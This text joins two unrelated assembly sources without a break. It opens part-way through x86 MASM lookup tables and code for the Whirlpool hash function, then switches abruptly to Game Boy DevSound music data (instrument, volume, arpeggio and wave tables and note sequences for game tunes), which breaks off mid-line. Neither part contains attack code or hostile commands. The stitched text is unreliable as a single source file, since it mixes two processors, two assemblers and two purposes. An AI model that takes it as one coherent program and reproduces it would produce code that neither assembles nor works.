0ff1cff24ab5424ffh,07a8e7a8ff78d8f7ah,090ad90eaf464ea90h,05fe15f3ec29d3e5fh dq 0206020a01d3da020h,068b868d5670fd568h,01a2e1a72d0ca721ah,0aeefae2c19b72caeh dq 0b4c1b45ec97d5eb4h,054fc54199ace1954h,093a893e5ec7fe593h,0226622aa0d2faa22h dq 064ac64e90763e964h,0f10ef112db2a12f1h,0739573a2bfcca273h,01236125a90825a12h dq 040c0405d3a7a5d40h,00818082840482808h,0c358c3e85695e8c3h,0ec29ec7b33df7bech dq 0db70db90964d90dbh,0a1fea11f61c01fa1h,08d8a8d831c91838dh,03d473dc9f5c8c93dh dq 097a497f1cc5bf197h,00000000000000000h,0cf4ccfd436f9d4cfh,02b7d2b87456e872bh dq 0769a76b397e1b376h,0829b82b064e6b082h,0d667d6a9fe28a9d6h,01b2d1b77d8c3771bh dq 0b5c2b55bc1745bb5h,0afecaf2911be29afh,06abe6adf771ddf6ah,050f0500dbaea0d50h dq 045cf454c12574c45h,0f308f318cb3818f3h,0305030f09dadf030h,0ef2cef742bc474efh dq 03f413fc3e5dac33fh,055ff551c92c71c55h,0a2fba21079db10a2h,0ea23ea6503e965eah dq 065af65ec0f6aec65h,0bad3ba68b90368bah,02f712f93654a932fh,0c05dc0e74e8ee7c0h dq 0de7fde81be6081deh,01c241c6ce0fc6c1ch,0fd1afd2ebb462efdh,04dd74d64521f644dh dq 092ab92e0e476e092h,0759f75bc8ffabc75h,0060a061e30361e06h,08a838a9824ae988ah dq 0b2cbb240f94b40b2h,0e637e659638559e6h,00e120e36707e360eh,01f211f63f8e7631fh dq 062a662f73755f762h,0d461d4a3ee3aa3d4h,0a8e5a832298132a8h,096a796f4c452f496h dq 0f916f93a9b623af9h,0c552c5f666a3f6c5h,0256f25b13510b125h,059eb5920f2ab2059h dq 0849184ae54d0ae84h,0729672a7b7c5a772h,0394b39ddd5ecdd39h,04cd44c615a16614ch dq 05ee25e3bca943b5eh,078887885e79f8578h,0384838d8dde5d838h,08c898c861498868ch dq 0d16ed1b2c617b2d1h,0a5f2a50b41e40ba5h,0e23be24d43a14de2h,061a361f82f4ef861h dq 0b3c8b345f14245b3h,0216321a51534a521h,09cb99cd69408d69ch,01e221e66f0ee661eh dq 043c5435222615243h,0c754c7fc76b1fcc7h,0fc19fc2bb34f2bfch,0040c041420241404h dq 051f35108b2e30851h,099b699c7bc25c799h,06db76dc44f22c46dh,00d170d396865390dh dq 0fa13fa35837935fah,0df7cdf84b66984dfh,07e827e9bd7a99b7eh,0246c24b43d19b424h dq 03b4d3bd7c5fed73bh,0abe0ab3d319a3dabh,0ce4fced13ef0d1ceh,01133115588995511h dq 08f8c8f890c83898fh,04ed24e6b4a046b4eh,0b7c4b751d16651b7h,0eb20eb600be060ebh dq 03c443cccfdc1cc3ch,0819e81bf7cfdbf81h,094a194fed440fe94h,0f704f70ceb1c0cf7h dq 0b9d6b967a11867b9h,01335135f988b5f13h,02c742c9c7d519c2ch,0d368d3b8d605b8d3h dq 0e734e75c6b8c5ce7h,06eb26ecb5739cb6eh,0c451c4f36eaaf3c4h,00305030f181b0f03h dq 056fa56138adc1356h,044cc44491a5e4944h,07f817f9edfa09e7fh,0a9e6a937218837a9h dq 02a7e2a824d67822ah,0bbd0bb6db10a6dbbh,0c15ec1e24687e2c1h,053f55302a2f10253h dq 0dc79dc8bae728bdch,00b1d0b275853270bh,09dba9dd39c01d39dh,06cb46cc1472bc16ch dq 0315331f595a4f531h,0749c74b987f3b974h,0f607f609e31509f6h,046ca46430a4c4346h dq 0ace9ac2609a526ach,0898689973cb59789h,0143c1444a0b44414h,0e13ee1425bba42e1h dq 0163a164eb0a64e16h,03a4e3ad2cdf7d23ah,069bb69d06f06d069h,0091b092d48412d09h dq 0709070ada7d7ad70h,0b6c7b654d96f54b6h,0d06dd0b7ce1eb7d0h,0ed2aed7e3bd67eedh dq 0cc49ccdb2ee2dbcch,042c642572a685742h,098b598c2b42cc298h,0a4f1a40e49ed0ea4h dq 0287828885d758828h,05ce45c31da86315ch,0f815f83f936b3ff8h,0869786a444c2a486h ENDIF WhirlpoolRC label qword dq 01823c6e887b8014fh,036a6d2f5796f9152h,060bc9b8ea30c7b35h,01de0d7c22e4bfe57h dq 0157737e59ff04adah,058c9290ab1a06b85h,0bd5d10f4cb3e0567h,0e427418ba77d95d8h dq 0fbee7c66dd17479eh,0ca2dbf07ad5a8333h .data? WhirlpoolHashBuf db 64 dup(?) WhirlpoolLen dd ? WhirlpoolIndex dd ? WhirlpoolDigest u64 8 dup(<?>) .code Whirlpool1 macro K0,K1,K2,K3,K4,K5,K6,K7 mov al,byte ptr [edi+K0*8+7] mov dl,byte ptr [edi+K1*8+6] mov ebp,[WhirlpoolC0+eax*8].u64.Lo mov ebx,[WhirlpoolC0+eax*8].u64.Hi xor ebp,[WhirlpoolC1+edx*8].u64.Lo xor ebx,[WhirlpoolC1+edx*8].u64.Hi mov al,byte ptr [edi+K2*8+5] mov dl,byte ptr [edi+K3*8+4] xor ebp,[WhirlpoolC2+eax*8].u64.Lo xor ebx,[WhirlpoolC2+eax*8].u64.Hi xor ebp,[WhirlpoolC3+edx*8].u64.Lo xor ebx,[WhirlpoolC3+edx*8].u64.Hi mov al,byte ptr [edi+K4*8+3] mov dl,byte ptr [edi+K5*8+2] xor ebp,[WhirlpoolC4+eax*8].u64.Lo xor ebx,[WhirlpoolC4+eax*8].u64.Hi xor ebp,[WhirlpoolC5+edx*8].u64.Lo xor ebx,[WhirlpoolC5+edx*8].u64.Hi mov al,byte ptr [edi+K6*8+1] mov dl,byte ptr [edi+K7*8+0] xor ebp,[WhirlpoolC6+eax*8].u64.Lo xor ebx,[WhirlpoolC6+eax*8].u64.Hi xor ebp,[WhirlpoolC7+edx*8].u64.Lo xor ebx,[WhirlpoolC7+edx*8].u64.Hi if K0 eq 0 lea eax,[ecx+10] lea edx,[ecx+10] xor ebp,[WhirlpoolRC+eax*8].u64.Lo xor ebx,[WhirlpoolRC+edx*8].u64.Hi endif mov L[K0*8].u64.Lo,ebp mov L[K0*8].u64.Hi,ebx endm Whirlpool2 macro K0,K1,K2,K3,K4,K5,K6,K7 mov al,byte ptr state[K0*8+7] mov dl,byte ptr state[K1*8+6] mov ebp,[WhirlpoolC0+eax*8].u64.Lo mov ebx,[WhirlpoolC0+eax*8].u64.Hi xor L[K0*8].u64.Lo,ebp xor L[K0*8].u64.Hi,ebx mov ebp,[WhirlpoolC1+edx*8].u64.Lo mov ebx,[WhirlpoolC1+edx*8].u64.Hi xor L[K0*8].u64.Lo,ebp xor L[K0*8].u64.Hi,ebx mov al,byte ptr state[K2*8+5] mov dl,byte ptr state[K3*8+4] mov ebp,[WhirlpoolC2+eax*8].u64.Lo mov ebx,[WhirlpoolC2+eax*8].u64.Hi xor L[K0*8].u64.Lo,ebp xor L[K0*8].u64.Hi,ebx mov ebp,[WhirlpoolC3+edx*8].u64.Lo mov ebx,[WhirlpoolC3+edx*8].u64.Hi xor L[K0*8].u64.Lo,ebp xor L[K0*8].u64.Hi,ebx mov al,byte ptr state[K4*8+3] mov dl,byte ptr state[K5*8+2] mov ebp,[WhirlpoolC4+eax*8].u64.Lo mov ebx,[WhirlpoolC4+eax*8].u64.Hi xor L[K0*8].u64.Lo,ebp xor L[K0*8].u64.Hi,ebx mov ebp,[WhirlpoolC5+edx*8].u64.Lo mov ebx,[WhirlpoolC5+edx*8].u64.Hi xor L[K0*8].u64.Lo,ebp xor L[K0*8].u64.Hi,ebx mov al,byte ptr state[K6*8+1] mov dl,byte ptr state[K7*8+0] mov ebp,[WhirlpoolC6+eax*8].u64.Lo mov ebx,[WhirlpoolC6+eax*8].u64.Hi xor L[K0*8].u64.Lo,ebp xor L[K0*8].u64.Hi,ebx mov ebp,[WhirlpoolC7+edx*8].u64.Lo mov ebx,[WhirlpoolC7+edx*8].u64.Hi xor L[K0*8].u64.Lo,ebp xor L[K0*8].u64.Hi,ebx endm align 4 WhirlpoolTransform proc ;LOCAL state[8]:u64,K[8]:u64,L[8]:u64,r:dword pushad Whirlpoollocals equ 8*8+8*8+8*8 sub esp,Whirlpoollocals L equ dword ptr [esp+0*8*8] K equ dword ptr [esp+1*8*8] state equ dword ptr [esp+2*8*8] mov edi,offset WhirlpoolDigest mov esi,offset WhirlpoolHashBuf xor ecx,ecx .repeat ; qword swap buffer mov edx,[esi+ecx*8].u64.Lo mov eax,[esi+ecx*8].u64.Hi bswap eax bswap edx mov [esi+ecx*8].u64.Hi,eax mov [esi+ecx*8].u64.Lo,edx mov ebx,[edi+ecx*8].u64.Lo xor eax,ebx mov K[ecx*8].u64.Lo,ebx mov ebx,[edi+ecx*8].u64.Hi xor edx,ebx mov K[ecx*8].u64.Hi,ebx mov state[ecx*8].u64.Lo,eax mov state[ecx*8].u64.Hi,edx inc ecx .until ecx==8 xor eax,eax mov ecx,-10 movzx edx,al .repeat ; compute K^r from K^{r-1}: Whirlpool1 0,7,6,5,4,3,2,1 Whirlpool1 1,0,7,6,5,4,3,2 Whirlpool1 2,1,0,7,6,5,4,3 Whirlpool1 3,2,1,0,7,6,5,4 Whirlpool1 4,3,2,1,0,7,6,5 Whirlpool1 5,4,3,2,1,0,7,6 Whirlpool1 6,5,4,3,2,1,0,7 Whirlpool1 7,6,5,4,3,2,1,0 xi = 0 while xi lt 8 mov ebp,L[xi*8].u64.Lo mov ebx,L[xi*8].u64.Hi mov [edi+xi*8].u64.Lo,ebp mov [edi+xi*8].u64.Hi,ebx xi = xi + 1 endm ; apply the r-th round transformation: Whirlpool2 0,7,6,5,4,3,2,1 Whirlpool2 1,0,7,6,5,4,3,2 Whirlpool2 2,1,0,7,6,5,4,3 Whirlpool2 3,2,1,0,7,6,5,4 Whirlpool2 4,3,2,1,0,7,6,5 Whirlpool2 5,4,3,2,1,0,7,6 Whirlpool2 6,5,4,3,2,1,0,7 Whirlpool2 7,6,5,4,3,2,1,0 xi = 0 while xi lt 8 mov ebp,L[xi*8].u64.Lo mov ebx,L[xi*8].u64.Hi mov state[xi*8].u64.Lo,ebp mov state[xi*8].u64.Hi,ebx xi = xi + 1 endm inc ecx .until zero? xor ecx,ecx .repeat mov eax,state[ecx*8].u64.Lo mov edx,state[ecx*8].u64.Hi xor eax,[esi+ecx*8].u64.Hi xor edx,[esi+ecx*8].u64.Lo xor eax,K[ecx*8].u64.Lo xor edx,K[ecx*8].u64.Hi mov [edi+ecx*8].u64.Lo,eax mov [edi+ecx*8].u64.Hi,edx inc ecx .until ecx==8 add esp,Whirlpoollocals popad ret WhirlpoolTransform endp WhirlpoolBURN macro xor eax,eax mov WhirlpoolIndex,eax mov edi,Offset WhirlpoolHashBuf mov ecx,(sizeof WhirlpoolHashBuf)/4 rep stosd endm align 4 WhirlpoolInit proc uses edi esi xor eax,eax mov WhirlpoolLen,eax mov edi,Offset WhirlpoolDigest mov ecx,(sizeof WhirlpoolDigest)/4 rep stosd WhirlpoolBURN mov eax,Offset WhirlpoolDigest ret WhirlpoolInit endp align 4 WhirlpoolUpdate proc uses esi edi ebx lpBuffer:dword, dwBufLen:dword mov ebx,dwBufLen add WhirlpoolLen,ebx .while ebx mov eax,WhirlpoolIndex mov edx,64 sub edx,eax .if edx <= ebx lea edi, [WhirlpoolHashBuf+eax] mov esi, lpBuffer mov ecx, edx rep movsb sub ebx, edx add lpBuffer, edx call WhirlpoolTransform WhirlpoolBURN .else lea edi, [WhirlpoolHashBuf+eax] mov esi, lpBuffer mov ecx, ebx rep movsb mov eax, WhirlpoolIndex add eax, ebx mov WhirlpoolIndex,eax .break .endif .endw ret WhirlpoolUpdate endp align 4 WhirlpoolFinal proc uses esi edi mov ecx, WhirlpoolIndex mov byte ptr [WhirlpoolHashBuf+ecx],80h .if ecx >= 32 call WhirlpoolTransform WhirlpoolBURN .endif mov eax,WhirlpoolLen xor edx,edx shld edx,eax,3 shl eax,3 bswap edx bswap eax mov dword ptr [WhirlpoolHashBuf+56],edx mov dword ptr [WhirlpoolHashBuf+60],eax call WhirlpoolTransform mov eax,offset WhirlpoolDigest xor ecx,ecx .repeat; QwSWAP mov esi,[eax+ecx].u64.Lo mov edi,[eax+ecx].u64.Hi bswap esi bswap edi mov [eax+ecx].u64.Hi,esi mov [eax+ecx].u64.Lo,edi add ecx,8 .until ecx==8*8 ret WhirlpoolFinal endp
; ================================================================ ; DevSound song data ; ================================================================ ; ================================================================= ; Song speed table ; ================================================================= SongSpeedTable: db 8,7 ; scoot the burbs db 3,3 ; character select db 3,3 ; you lose SongSpeedTable_End SongPointerTable: dw PT_ScootTheBurbs dw PT_CharacterSelect dw PT_LoseHorn SongPointerTable_End if(SongSpeedTable_End-SongSpeedTable) < (SongPointerTable_End-SongPointerTable) fail "SongSpeedTable does not have enough entries for SongPointerTable" endc if(SongSpeedTable_End-SongSpeedTable) > (SongPointerTable_End-SongPointerTable) warn "SongSpeedTable has extra entries" endc ; ================================================================= ; Volume sequences ; ================================================================= ; For pulse and noise instruments, volume control is software-based by default. ; However, when the table execution ends ($FF) the value after that terminator ; will be loaded as a hardware volume and envelope. Please be cautious that the ; envelope speed won't be scaled along the channel volume. ; For wave instruments, volume has the same range as the above (that's right, ; this is possible by scaling the wave data) except that it won't load the ; value after the terminator as a final volume. ; WARNING: since there's no way to rewrite the wave data without restarting ; the wave so make sure that the volume doesn't change too fast that it ; unintentionally produces sync effect. ; NOTE: If the DisableWaveScaling flag is enabled, the above does not apply. ; Instead, there are four volume values (including 0). These values can be ; selected with w0-w3. w0 equ 0 w1 equ 3 w2 equ 7 w3 equ 15 vol_Kick: db $ff,$81 vol_Snare: db $ff,$d1 vol_OHH: db $ff,$84 vol_CymbQ: db $ff,$a6 vol_CymbL: db $ff,$f3 vol_Tom: db $ff,$c1 vol_Tink: db $ff,$51 vol_BurbsLeadC: db 13,12,12,12,12,12,11,$fe,6 vol_BurbsFadeC: db 8,8,8,8,8,8,8,8,8,8,7,7,7,6,6,6,6,6,6,5,5,5,5,5,4,4,4,3,3,3,3,3,3,2,2,2,1,1,1,1,1,0,$ff,0 vol_BurbsSlide: db 13,12,12,12,$fe,0 vol_BurbsArp: db $ff,$c2 vol_BurbsLead: db $ff,$f6 vol_BurbsFade: db $ff,$a2 vol_BurbsBass: db w3,w3,w3,w3,w3,w3,w2,$fe,6 vol_BurbsBassL: db w3,w3,w3,w3,w3,w3,w3,w3,w3,w3,w3,w3,w3,w2,$fe,13 vol_CharSelBass: db w3,w3,w3,w3,w3,w3,w3,w3,w3,w2,w2,w2,w2,w2,w2,w1,$fe,15 vol_CharSelLead: db 15,$fd,$ff,$f2 vol_CharSelLead8: db 8,$fd,$ff,$82 vol_CharSelLead4: db 4,$fd,$ff,$42 vol_CharSelLead2: db 2,$fd,$ff,$22 vol_CharSelLead1: db 1,$fd,$ff,$12 vol_CharSelLeadC: db 12,$fd,$ff,$c2 vol_CharSelArp: db $ff,$b3 vol_LoseHorn: db $ff,$c0 ; ================================================================= ; Arpeggio/Noise sequences ; ================================================================= s7 equ $2d ; Noise values are the same as Deflemask, but with one exception: ; To convert 7-step noise values (noise mode 1 in deflemask) to a ; format usable by DevSound, take the corresponding value in the ; arpeggio macro and add s7. ; Example: db s7+128+32 = noise value 32 with step lengh 7 ; Note that each noiseseq must be terminated with a loop command ; ($fe) otherwise the noise value will reset! arp_Pluck: db 12,0,$ff arp_Kick: db $a0,$9a,$a5,$fe,2 arp_Snare: db s7+$9d,s7+$97,s7+$94,$a3,$fe,3 arp_Hat: db $a9,$ab,$fe,1 arp_Tom: db 22,20,18,16,14,12,10,9,7,6,4,3,2,1,0,$ff arp_Tink: db 128+A#7,128+A_7,$fe,1 arp_BurbsSlide1: db 0,0,0,0,2,2,2,2,4,4,4,4,6,6,6,6,$ff arp_BurbsSlide2: db 0,0,0,0,2,2,2,2,3,3,3,3,5,5,5,5,$ff arp_BurbsHack: db 0,$fe,0 ; ================================================================= ; Pulse/Wave sequences ; ================================================================= WaveTable: dw wave_Pulse dw wave_OctSquare dw wave_CharSelBass wave_Pulse: db $ff,$ff,$ff,$ff,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 wave_OctSquare: db $ff,$ff,$ff,$ff,$00,$00,$00,$00,$ff,$ff,$ff,$ff,$00,$00,$00,$00 wave_CharSelBass: db $9c,$ef,$eb,$74,$10,$13,$69,$ce,$fe,$b7,$41,$01,$36,$9f,$a5,$06 ; use $c0 to use the wave buffer waveseq_Pulse: db 0,$ff waveseq_Pulse50: db 2,$ff waveseq_BurbsArp: db 0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,$ff waveseq_BurbsLead: db 1,1,1,1,1,1,0,$ff waveseq_BurbsSlide: db 1,$ff waveseq_BurbsFade: db 0,$ff waveseq_CharSelArp: db 0,0,1,1,1,2,2,2,3,3,3,2,2,2,1,1,1,0,$fe,0 ;waveseq_CharSelBass: db 2,$ff ; use waveseq_Pulse50 instead waveseq_CharSelLead: db 0,1,2,$ff ; ================================================================= ; Vibrato sequences ; Must be terminated with a loop command! ; ================================================================= vib_Test: db 4,2,4,6,8,6,4,2,0,-2,-4,-6,-8,-6,-4,-2,0,$80,1 vib_BurbsLeadC: db 1,-1,-1,-1,0,0,0,0,0,$80,1 vib_BurbsLead: db 8,2,4,2,0,-2,-4,-2,0,$80,1 vib_BurbsFade: db 0,2,4,2,0,-2,-4,-2,0,$80,1 vib_LoseHorn: db 0,6,12,18,24,30,24,18,12,6,0,-6,-12,-18,-24,-30,-24,-18,-12,-6,0,$80,1 ; ================================================================= ; Instruments ; ================================================================= InstrumentTable: const_def dins Kick dins Snare dins CHH dins OHH dins CymbQ dins CymbL dins Tom dins Tink dins BurbsLeadC dins BurbsFadeC dins BurbsLead dins BurbsLeadSlide dins BurbsFade dins BurbsArp dins BurbsBass dins BurbsBassL dins BurbsTom dins CharSelBass dins CharSelLead dins CharSelLead8 dins CharSelLead4 dins CharSelLead2 dins CharSelLead1 dins CharSelLeadC dins CharSelArp dins LoseHorn dins LoseHorn2 ; Instrument format: [no reset flag],[voltable id],[arptable id],[wavetable id],[vibtable id] ; _ for no table ; !!! REMEMBER TO ADD INSTRUMENTS TO THE INSTRUMENT POINTER TABLE !!! ins_Kick: Instrument 0,Kick,Kick,_,_ ins_Snare: Instrument 0,Snare,Snare,_,_ ins_CHH: Instrument 0,Kick,Hat,_,_ ins_OHH: Instrument 0,OHH,Hat,_,_ ins_CymbQ: Instrument 0,CymbQ,Hat,_,_ ins_CymbL: Instrument 0,CymbL,Hat,_,_ ins_Tom: Instrument 0,Tom,Tom,Pulse50,_ ins_Tink: Instrument 0,Tink,Tink,Pulse50,_ ins_BurbsLeadC Instrument 0,BurbsLeadC,_,Pulse50,BurbsLeadC ins_BurbsFadeC Instrument 0,BurbsFadeC,_,Pulse50,BurbsLeadC ins_BurbsLead Instrument 0,BurbsLead,BurbsHack,BurbsLead,BurbsLead ins_BurbsLeadSlide Instrument 0,BurbsSlide,BurbsSlide1,BurbsSlide,_ ins_BurbsFade Instrument 0,BurbsFade,_,BurbsFade,BurbsFade ins_BurbsArp Instrument 0,BurbsArp,Buffer,BurbsArp,_ ins_BurbsBass Instrument 0,BurbsBass,Pluck,Pulse,_ ins_BurbsBassL Instrument 0,BurbsBassL,Pluck,Pulse,_ ins_BurbsTom Instrument 0,BurbsBass,Tom,BurbsSlide,_ ins_CharSelBass Instrument 0,CharSelBass,Pluck,Pulse50,_ ins_CharSelLead Instrument 0,CharSelLead,_,CharSelLead,_ ins_CharSelLead8 Instrument 0,CharSelLead8,_,CharSelLead,_ ins_CharSelLead4 Instrument 0,CharSelLead4,_,CharSelLead,_ ins_CharSelLead2 Instrument 0,CharSelLead2,_,CharSelLead,_ ins_CharSelLead1 Instrument 0,CharSelLead1,_,CharSelLead,_ ins_CharSelLeadC Instrument 0,CharSelLeadC,_,CharSelLead,_ ins_CharSelArp Instrument 0,CharSelArp,Buffer,CharSelArp,_ ins_LoseHorn Instrument 0,LoseHorn,_,BurbsSlide,LoseHorn ins_LoseHorn2 Instrument 0,LoseHorn,_,Pulse,LoseHorn ; ================================================================= PT_ScootTheBurbs: dw Burbs_CH1,Burbs_CH2,Burbs_CH3,Burbs_CH4 Burbs_CH1: db SetLoopPoint rept 2 dbw CallSection,.block2 db SetInstrument,id_BurbsLead,rest,2 db B_3,2,D#4,1,D#4,1,D#4,1,D#4,3,D#4,2,D#4,2,D#4,2,B_3,2,SetInstrument,id_BurbsFade,B_3,14 dbw CallSection,.block2 db SetInstrument,id_BurbsLead,rest,2 db B_3,2,D#4,2,D#4,1,D#4,3,D#4,2,D#4,2,D#4,2,B_3,2,SetInstrument,id_BurbsFade,B_3,18 dbw CallSection,.block3 endr db B_3,64 db SetInstrument,id_BurbsLeadC db rest,4 dbw CallSection,.block1 db C#5,3,SetInstrument,id_BurbsFadeC,C#5,8,SetInstrument,id_BurbsLeadC db C#5,2,B_4,1,A#4,1,F#4,3,SetInstrument,id_BurbsFadeC,F#4,6,SetInstrument,id_BurbsLeadC db B_4,1,SetInsAlternate,id_BurbsFadeC,id_BurbsLeadC db C#5,1,C#5,1,D#5,1,D#5,1,E_5,1,E_5,1,D#5,1,D#5,1,C#5,1,C#5,1,B_4,3,B_4,9 db SetInstrument,id_BurbsLeadC,B_4,1 dbw CallSection,.block1 db C#5,3,SetInstrument,id_BurbsFadeC,C#5,6,SetInsAlternate,id_BurbsFadeC,id_BurbsLeadC,B_4,2,B_4,1 db C#5,2,C#5,2,B_4,2,B_4,2,A#4,2,A#4,2,SetInstrument,id_BurbsLeadC db A#4,1,B_4,1,C#5,1,D#5,2,E_5,1,D#5,1,C#5,2,SetInstrument,id_BurbsFadeC,C#5,1 db SetInstrument,id_BurbsLeadC,B_4,3,SetInstrument,id_BurbsFadeC,B_4,7 db SetInsAlternate,id_BurbsFade,id_BurbsLead db C#4,1,C#4,1,C#4,1,C#4,1,C#4,1,C#4,1,C#4,1 db SetInsAlternate,id_BurbsLead,id_BurbsFade db D#4,2,D#4,1,D#4,1,D#4,1,D#4,1,D#4,1,D#4,1 db SetInsAlternate,id_BurbsFade,id_BurbsLead db F#4,2,F#4,1,E_4,1,E_4,1,SetInstrument,id_BurbsLead db D#4,1,E_4,1,D#4,1,B_3,11 db SetInstrument,id_BurbsLeadSlide,E_3,2 db SetInstrument,id_BurbsLead db B_3,1,SetInsAlternate,id_BurbsFade,id_BurbsLead db A#3,1,A#3,1,B_3,1,B_3,1,A#3,1,A#3,1,B_3,1,B_3,1,A#3,1,A#3,1 db SetInstrument,id_BurbsLead,F#3,17 db GotoLoopPoint .block1 db B_4,1,C#5,1,D#5,1,D#5,1,SetInstrument,id_BurbsFadeC,D#5,1,SetInstrument,id_BurbsLeadC db D#5,1,C#5,1,B_4,1,SetInstrument,id_BurbsFadeC,B_4,1,SetInstrument,id_BurbsLeadC,C#5,1,D#5,1,SetInstrument,id_BurbsFadeC,D#5,1,SetInstrument,id_BurbsLeadC db D#5,2,SetInstrument,id_BurbsFadeC,D#5,1,SetInstrument,id_BurbsLeadC,C#5,1 ret .block2 rept 2 db SetInstrument,id_BurbsLead,F#4,3,D#4,3,C#4,4,SetInstrument,id_BurbsFade,C#4,6 endr ret .block3 db SetInstrument,id_BurbsLead db D#4,1,D#4,2,D#4,3,D#4,2,D#4,1,D#4,2,D#4,3,B_3,2,SetInstrument,id_BurbsFade,B_3,16 db SetInstrument,id_BurbsLead db D#4,1,D#4,2,D#4,3,D#4,2,D#4,2,B_3,2,D#4,5,E_4,1,D#4,1,C#4,4,C#4,1,B_3,2,A#3,2 ret Burbs_CH2: db SetInstrument,id_BurbsArp db SetLoopPoint rept 2 dbw CallSection,.block1 dbw CallSection,.block1 dbw CallSection,.block2 endr rept 3 dbw CallSection,.block1 endr dbw CallSection,.block2 db GotoLoopPoint .block1 db Arp,1,$38,D#4,2,D#4,2,D#4,2,D#4,2,D#4,2,D#4,2,D#4,1,D#4,2 db Arp,1,$59,B_3,3,B_3,2,B_3,2,B_3,2,B_3,2,B_3,2,B_3,1,B_3,2 db Arp,1,$5a,C#4,3,C#4,2,C#4,1,C#4,2,Arp,1,$59,C#4,3,C#4,2,C#4,2,C#4,2 db Arp,1,$47,E_4,2,E_4,2,E_4,1,E_4,2,E_4,3,E_4,2,E_4,2,E_4,1,E_4,1 ret .block2 db Arp,1,$38,A#3,2,A#3,2,A#3,1,A#3,2,A#3,3,A#3,2,A#3,2,A#3,2 db G#3,2,G#3,2,G#3,1,G#3,2,G#3,3,G#3,2,G#3,2,G#3,2 db A#3,2,A#3,2,A#3,1,A#3,2,A#3,3,A#3,2,A#3,2,A#3,2 db Arp,1,$47,E_4,2,E_4,2,E_4,1,E_4,2,Arp,1,$5a,C#4,2,C#4,2,C#4,1,Arp,1,$59,C#4,2,C#4,2 ret Burbs_CH3: db SetInstrument,id_BurbsBass,SetLoopPoint rept 2 dbw CallSection,.block1 dbw CallSection,.block2 dbw CallSection,.block3 dbw CallSection,.block1 dbw CallSection,.block2 dbw CallSection,.block3 dbw CallSection,.block2 dbw CallSection,.block4 dbw CallSection,.block2 dbw CallSection,.block3 endr dbw CallSection,.block1 dbw CallSection,.block2 dbw CallSection,.block3 dbw CallSection,.block1 dbw CallSection,.block2 dbw CallSection,.block3 dbw CallSection,.block1 dbw CallSection,.block2 dbw CallSection,.block3 dbw CallSection,.block2 dbw CallSection,.block4 dbw CallSection,.block2 dbw CallSection,.block3 db GotoLoopPoint .block1 db B_2,1,B_2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBassL,B_2,2,SetInstrument,id_BurbsBass,B_2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBass,B_2,1 db B_2,1,B_2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBassL,B_2,2,SetInstrument,id_BurbsBass,B_2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBass,B_2,1 db G#2,1,G#2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBassL,G#2,2,SetInstrument,id_BurbsBass,G#2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBass,G#2,1 db G#2,1,G#2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBassL,G#2,2,SetInstrument,id_BurbsBass,G#2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBass,G#2,1 ret .block2 db SetInstrument,id_BurbsBass,F#2,1,F#2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBassL,F#2,2,SetInstrument,id_BurbsBass,F#2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBass,F#2,1 db F#2,1,F#2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBassL,F#2,2,SetInstrument,id_BurbsBass,F#2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBass,F#2,1 ret .block3 db E_3,1,E_3,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBassL,E_3,2,SetInstrument,id_BurbsBass,E_3,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBass,E_3,1 db E_3,1,E_3,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBassL,D#3,2,SetInstrument,id_BurbsBass,C#3,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBass,B_2,1 ret .block4 db SetInstrument,id_BurbsBass,E_2,1,E_2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBassL,E_2,2,SetInstrument,id_BurbsBass,E_2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBass,E_2,1 db E_2,1,E_2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBassL,E_2,2,SetInstrument,id_BurbsBass,E_2,1 Drum BurbsTom,1 db SetInstrument,id_BurbsBass,E_2,1 ret Burbs_CH4: db SetLoopPoint rept 3 dbw CallSection,.block1 endr Drum Kick,1 Drum CHH,1 Drum Snare,2 Drum Kick,1 db fix,1 Drum Snare,2 Drum Kick,1 db fix,1 Drum Snare,1 Drum Kick,1 Drum CHH,1 Drum Kick,1 Drum Snare,1 db fix,1 db GotoLoopPoint .block1 Drum Kick,1 Drum CHH,1 Drum Snare,2 Drum Kick,1 db fix,1 Drum Snare,2 Drum Kick,1 db fix,1 Drum Snare,1 Drum Kick,1 Drum CHH,1 Drum Kick,1 Drum Snare,2 ret ; ================================================================= PT_CharacterSelect: dw CharSel_CH1,CharSel_CH2,CharSel_CH3,CharSel_CH4 CharSel_CH1: ; intro db SetInstrument,id_CharSelLead,B_4,2,D_5,2,E_5,2,F#5,2,A_5,2,F#5,2,SetLoopPoint ; loop dbw CallSection,.block1 db SetInstrument,id_CharSelLead8 dbw CallSection,.block1 db SetInstrument,id_CharSelLead4 dbw CallSection,.block1 db SetInstrument,id_CharSelLead2 dbw CallSection,.block1 db SetInstrument,id_CharSelLead1 dbw CallSection,.block1 db rest,30 db SetInstrument,id_CharSelLeadC db A_4,2,rest,2,SetInstrument,id_CharSelLead,A_4,2 dbw CallSection,.block2 db SetInstrument,id_CharSelLead8 dbw CallSection,.block2 db SetInstrument,id_CharSelLead4 dbw CallSection,.block2 db SetInstrument,id_CharSelLead2 dbw CallSection,.block2 db SetInstrument,id_CharSelLead1 dbw CallSection,.block2 db SetInstrument,id_CharSelLead db rest,66 db GotoLoopPoint .block1 db B_5,6,PitchBendDown,$10,rel,6,PitchBendDown,0 ret .block2 db B_4,3,rest,3 ret CharSel_CH2: ; intro db SetInstrument,id_Tom db fix+11,2 db fix+11,2 db fix+11,2 db fix+7,2 db fix+7,2 db fix+7,2 db SetLoopPoint ; loop dbw CallSection,.block1 dbw CallSection,.block1 dbw CallSection,.block1 db SetInstrument,id_Tink,fix,4,fix,2 db SetInstrument,id_CharSelArp,Arp,1,$37,B_3,6 Drum Tom,4 db SetInstrument,id_Tink,fix,2 db 